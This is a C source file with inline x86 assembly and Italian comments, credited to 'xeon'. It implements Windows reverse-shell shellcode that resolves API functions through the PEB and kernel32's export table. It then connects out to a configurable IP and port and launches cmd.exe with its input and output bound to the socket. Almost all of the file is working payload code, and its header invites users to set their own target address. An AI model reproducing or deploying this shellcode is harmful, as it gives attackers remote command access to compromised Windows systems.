/*
*
*  Windowze reverse cmd shell
*  by xeon
*
*  tnx to naga&KiodOpz 4 the ideas (bfi12-dev4), specially 
*  to naga for the time he spent mailing with me
*
*  for SEH trick see http://lsd-pl.net "Win32 Assembly Components" paper
*
*  obviously you'll have to modify:
*  -> IP
*  -> port
*
*  [...from the xeon castle foundry...]
*
*/

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")

// ------------------------------------------------------------------
// kernel32.dll
#define GPA						[ebp-0x10]
#define LOADLIBRARY				[ebp-0x1E]
#define CREATEPROCESS			[ebp-0x2E]
#define EXITTHREAD				[ebp-0x3A]
// ws2_32.dll
#define WSASOCKET				[ebp-0x50]
#define CONNECT					[ebp-0x5A]
// resto dei dati
#define CMD						[ebp-0x60]
#define STINFO					[ebp-0xA4]
#define HSTDINPUT				[ebp-0x6C]
#define HSTDOUTPUT				[ebp-0x68]
#define HSTDERROR				[ebp-0x64]
#define PROCINFO				[ebp-0xB4]
#define SOCKADDR				[ebp-0xC4]
// ------------------------------------------------------------------


void main (int argc, char *argv[])
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,0),&wsaData);

	__asm
	{
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop						// tag da cercare se ricompilate

// ------------------------------------------------------------------
// *** EXPLOIT STACK ***
// ------------------------------------------------------------------
// * Preparazione stack ad hoc per lo shellcode: dato che userà funzioni
// * di libreria andranno risolti gli indirizzi correlati.
// * Dopo i simboli da risolvere (che finiscono con 0xFF) c'è il resto dei
// * dati usati dallo shellcode.
		mov ebp, esp			// creazione stack ad hoc

		xor eax, eax

		// "GetProcAddress\0\0"
		push 0x7373				// "ss\0\0"
		push 0x65726464			// "ddre"
		push 0x41636F72			// "rocA"
		push 0x50746547			// "GetP"
								// non importa dei due zeri finali, GPA viene risolta
								// in modo speciale, non dalla routine AutoResolv
		// "LoadLibraryA\0"
		mov ah, 0x0D
		push ax					// "\0 0xD", segnala quanto indietro è l'inizio del nome
		push 0x41797261			// "aryA"
		push 0x7262694C			// "Libr"
		push 0x64616F4C			// "Load"

		// "CreateProcessA\0"
		push 0x0F004173			// "sA\0 0xF", idem come sopra ed uguale per tutte in seguito
		push 0x7365636F			// "oces"
		push 0x72506574			// "tePr"
		push 0x61657243			// "Crea"
								// "CreateProcessA\0\0"
		// "ExitThread\0"
		push 0x0B006461			// "ead\0 0xB"
		push 0x65726854			// "Thre
		push 0x74697845			// "Exit"

		// "ws2_32"
		mov ax, 0x9008
		push ax					// 0x08 0x90 , nop segnala il cambio di dll!
		push 0x3233				// "32\0\0"
		push 0x5F327377			// "ws2_"

		// "WSASocketA\0"
		push 0x0B004174			// "tA\0 0xB"
		push 0x656B636F			// "ocke"
		push 0x53415357			// "WSAS"

		// "connect\0"
		mov ax, 0x900
		push ax					// "\0 0x9", 1 byte in più, purtroppo necessario per l'allineamento
		push 0x746365			// "ect\0"
		push 0x6E6E6F63			// "conn"

		mov ax, 0xFFFF			// 0xFF segnala la fine dei simboli da risolvere
		push ax					// ne pusho 2 per evitare un ennesimo 00 nello shellcode

		// comando dal lanciare ;)
		push 0x00646D63			// "cmd\0"

		// STARTUPINFO
		xor eax, eax

		push eax				// HANDLE  hStdError; 
		push eax				// HANDLE  hStdOutput;
		push eax				// HANDLE  hStdInput;
		push eax				// LPBYTE  lpReserved2;
		push eax				// WORD    wShowWindow; WORD    cbReserved2; 
		push 0x00000100 
		xor ecx, ecx
		mov cl, 0xa
peax1:	push eax				// tutto il resto della struttura, 40 byte
		loop peax1				// un bel loop da 7 byte code < 10 byte di push eax :)
		push 0x44

		// PROCESS_INFORMATION
		push eax
		push eax
		push eax
		push eax				// 16 byte
		
		// SOCKADDR_IN
		push eax
		push eax
		push 0x0100007F			// sin_addr, 4 byte
		push 0x35000002			// sin_port, AF_INET (0x0200)
// ------------------------------------------------------------------
// *** GETPROCADDRESS QUEST ***
// ------------------------------------------------------------------
// * SEH trick
		mov eax, fs:0x30		// *PEB (Process Environment Block)
		mov eax, [eax+0xC]		// *PEB_LDR_DATA
		mov esi, [eax+0x1C]		// head of InInitializationOrderModuleList
		lodsd					// eax = second node, kernel32.dll entry :)
		mov ebx, [eax+0x8]		// ebx = ImageBase of kernel32.dll

// ------------------------------------------------------------------
// * Andiamo ora a esaminare l'header di kernel32 per trovarne la sezione di
// * Export.
// * Tutti gli indirizzi ottenuti sono RVA per cui dovremo sommare sempre
// * l'ImageBase ottenuto in precedenza.
		mov edx, dword ptr [ebx+3Ch]
								// 3Ch = 60d, _IMAGE_DOS_HEADER.e_lfanew
								// file address of new exe header
		add edx, ebx			// address are in RVA...

		mov edx, dword ptr [edx+78h]
								// 78h = 120d,indirizzo della ExportTable...
								// IMAGE_DATA_DIRECTORY DataDirectory[0];
		add edx, ebx			// ...in RVA
// ------------------------------------------------------------------
// * La funzione GetProcAddress e' esportata per nome.
// * L'indice dei nomi ha generalmente un ordine alfabetico, diverso quindi da 
// * quello tenuto nella tabella dei puntatori a funzione.
// * Inoltre la tabella dei puntatori a funzione contiene anche entries per le
// * funzioni esportate per ordinale (non presenti quindi nella lista dei nomi).
// * Per linkare le due liste c'e' una terza tabella (entries da 2 byte) che fa
// * corrispondere ad ogni elemento della lista dei nomi un elemento della lista
// * dei puntatori a funzione.
// * Per ottenere il puntatore a GetProcAddress dovremo quindi scorrere la lista
// * dei nomi e trovare l'indice della funzione che ci interessa. Una volta
// * ottenuto tale indice potremo scorrere la lista di "link" per ottenere
// * l'indice di GetProcAdress all'interno della lista dei puntatori a funzione.
// * Scorrendo infine quest'ultima lista otterremo l'indirizzo della funzione
// * che cercavamo.
  		    
	    mov edi, dword ptr [edx+20h]
								// 20h = 32d, indirizzo alla DWORD AddressOfName,
								// che CONTIENE il puntatore al primo simbolo (nome) esportato
		add edi, ebx			// ed è sempre in RVA
		mov edi, dword ptr [edi]
								// si recupera il reale indirizzo della lista di simboli
		add edi, ebx			// ovviamente in RVA; ora edi punta alla lista di simboli

		xor ecx, ecx			// sizeof("GetProcAddress\0")
		xor eax, eax			// indice nella tabella dei nomi

GPAOrdinal:
		lea esi, GPA			// esi = &"GetProcAddress\0\0"
								// esi ed edi saranno usati per il confronto tramite cmps		
		mov cl, 0xe				// strlen ("GetProcAddress\0")
		
	    repe cmps byte ptr [esi], byte ptr [edi]
								// strcmp ("GetProcAddress\0", edi)
	    je GPAFound				// se ZF è 0 è perchè cx=0, cioè le stringe sono uguali
	           
		inc eax					// indice = indice + 1
	GPAGoNextSymbol:
		inc edi
		cmp byte ptr [edi-1], 0x0
		je GPAOrdinal
		jmp GPAGoNextSymbol

GPAFound:
		// ricapitolando:
		// ebx = IMAGE_BASE
		// edx = indirizzo sezione EXPORT
		// eax = indice di GetProcAddress nella link table
		mov edi, [edx+24h]		// DWORD   AddressOfNameOrdinals;  // RVA from base of image
		add edi, ebx			// RVA
	    shl eax, 1				// ogni entry della tabella di "link" e' di 2 byte, una 
								// shift left corrisponde a moltiplicare per 2
		add edi, eax
		xor eax, eax
        mov ax, word ptr [edi]	// indice di GetProcAddress nella lista dei puntatori a
								// funzione
		// ricapitolando:
		// ebx = IMAGE_BASE
		// edx = indirizzo sezione EXPORT
		// ax  = indice di GetProcAddress nella address table
		mov edi, [edx+1Ch]		// DWORD   AddressOfFunctions;     // RVA from base of image
		add edi, ebx
		shl eax, 2				// eax = eax * 4, dato che la tabella è di puntatori, cioè
								// ogni elemento è di 4 byte!
		mov edx, [edi+eax]
		add edx, ebx			// edx = PUNTATORE A GETPROCADDRESS!!!
		mov GPA, edx
// ------------------------------------------------------------------
// *** AUTOMATIZATION ON
// ------------------------------------------------------------------
// * Tramite un ciclo si risolvono gli indirizzi delle funzioni usate.
// * Questi saranno salvati sovrascrivendo i primi 4 byte del nome.
// * La funzione di risoluzione è un ciclo che parsa dati così strutturati:
// * 
// * Nomefunc1\0Nomefunc2\0Nomefunc3\0...Nomefuncn\0 (appartenenti a kernel32)
// * 0x90
// * Nomedll1\0Nomefunc1\0Nomefunc2\0...Nomefuncn\0	(appartenenti a Nomedll1)
// * 0x90
// * Nomedll2\0Nomefunc1\0Nomefunc2\0...Nomefuncn\0	(appartenenti a Nomedll2)
// * 0x90
// * 0x90
// * La routine usa ecx come puntatore all'interno del buffer ed ebx come IMAGE_BASE
// * per le chiamate a GPA. Ricordo che a questo punto ebx contiene ancora l'IMAGE_BASE
// * di kernel32.dll :)
		lea ecx, LOADLIBRARY	// da qualche parte si deve pur iniziare :)
								// ricordo che ebx = HMODULE di kernel32, infatti
								// la routine assume che i primi simboli appartengano a
								// questa dll, così si risparmia un po' di spazio e cicli
AutoResolv:
		push ecx
		push ecx				// indirizzo stringa funzione
		push ebx				// HMODULE della dll
		call dword ptr GPA		// FARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName);		
		pop ecx		
		mov [ecx], eax			// salvataggio al posto del nome
	NextName:					// ricerca del prossimo nome da risolvere
		dec ecx
		xor edx, edx
		mov dl, byte ptr [ecx]
		cmp dl, 0x90
		je NextDll				// si controlla se si deve preparare il nuovo HMODULE
								// per la prossima dll
		cmp dl, 0xFF
		je AutoResolvEnd		// si controlla se si è raggiunta la fine dei
								// simboli da risolvere
		sub ecx, edx
		jmp AutoResolv
	NextDll:
		dec ecx
		mov dl, byte ptr [ecx]
		sub ecx, edx
		push ecx
 		push ecx				// indirizzo nome dll
		call LOADLIBRARY		// HINSTANCE LoadLibrary(LPCTSTR lpLibFileName);
		mov ebx, eax			// salvo handle in ebx
		pop ecx
		jmp NextName

AutoResolvEnd:
// ------------------------------------------------------------------
// *** CONNECTION! ***
// ------------------------------------------------------------------
// * Recupero di un socket e connect all'host in sockaddr
 		xor edx, edx

		push edx				// 0
		push edx				// 0
		push edx				// 0
		push edx				// 0
		push 0x1				// SOCK_STREAM
		push 0x2				// AF_INET
		call WSASOCKET			// WSASocketA (AF_INET, SOCK_STREAM, 0, ecc...)
		
		push eax				// lo butto nello stack per evitare
								// di perderlo durante le chiamate succ.
		mov ecx, dword ptr [esp]// mi ricopio il socket

		push 0x10				// sizeof(struct sockaddr_in)=0x10;
		lea eax, SOCKADDR
		push eax				// indirizzo sockaddr
		push ecx				// il socket
		call CONNECT			// int connect (SOCKET s, const struct sockaddr FAR*  name, int namelen);
// ------------------------------------------------------------------
// *** BACKDOOR OPENS ***
// ------------------------------------------------------------------
// * Ora che si è connessi si crea un processo console settandogli i
// * descrittori di input, output, error uguali al socket (!:D)
// ------------------------------------------------------------------
		pop ecx					// mi riprendo dallo stack il socket

		mov dword ptr HSTDERROR,  ecx
		mov dword ptr HSTDINPUT,  ecx
		mov dword ptr HSTDOUTPUT, ecx		
								// imposto il socket come handle ai
								// vari stream (in,out,err)
		lea edx, PROCINFO
		push edx				// indirizzo di PROCESS_INFORMATION
		lea edx, STINFO
		push edx				// indirizzo STARTUPINFO
		xor edx, edx
		push edx				// NULL
		push edx				// NULL
		push edx				// NULL
		inc edx
		push edx				// TRUE
		dec edx
		push edx				// NULL
		push edx				// NULL
		lea edx, CMD
		push edx				// indirizzo "cmd\0"
		xor edx, edx
		push edx				// NULL
		call CREATEPROCESS		// CreateProcess("","cmd\0",NULL,NULL,TRUE,0, 0, 0, &si, &pi);

		xor edx, edx
		push edx
		call EXITTHREAD			// ExitThread (0);
// ------------------------------------------------------------------
 		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
	}
}